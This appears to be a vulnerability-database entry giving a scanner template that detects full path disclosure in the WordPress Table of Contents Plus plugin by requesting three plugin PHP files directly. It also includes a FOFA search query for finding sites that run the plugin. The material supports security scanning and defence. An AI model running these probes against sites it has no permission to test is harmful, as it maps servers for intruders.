wp-table-of-contents-plus-fpd: WordPress Table of Contents Plus - Full Path Disclosure

2026-01-08 wp-table-of-contents-plus-fpd PoC Public

Description

WordPress Table of Contents Plus plugin is vulnerable to full path disclosure via direct access to plugin files.

PoC

id: wp-table-of-contents-plus-fpd

info:
  name: WordPress Table of Contents Plus - Full Path Disclosure
  author: ritikchaddha
  severity: low
  description: |
    WordPress Table of Contents Plus plugin is vulnerable to full path disclosure via direct access to plugin files.
  reference:
    - https://wordpress.org/plugins/table-of-contents-plus/
  metadata:
    verified: true
    max-request: 3
    vendor: developer
    product: table-of-contents-plus
    framework: wordpress
    fofa-query: body="/wp-content/plugins/table-of-contents-plus/"
  tags: wp,wordpress,wp-plugin,fpd,toc,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/table-of-contents-plus/includes/class.toc.php"
      - "{{BaseURL}}/wp-content/plugins/table-of-contents-plus/admin/class.admin.php"
      - "{{BaseURL}}/wp-content/plugins/table-of-contents-plus/front.php"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Fatal error"
          - "table-of-contents-plus"
          - "Uncaught Error:"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c621638b5639c06c0d947606a2f735d055614f83f66396ed3d658b6a4b2c2e3e02204c93ccf73926ff139fa9c32ce462e9609d242fd45c04b68ac6ea2a8296870680:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities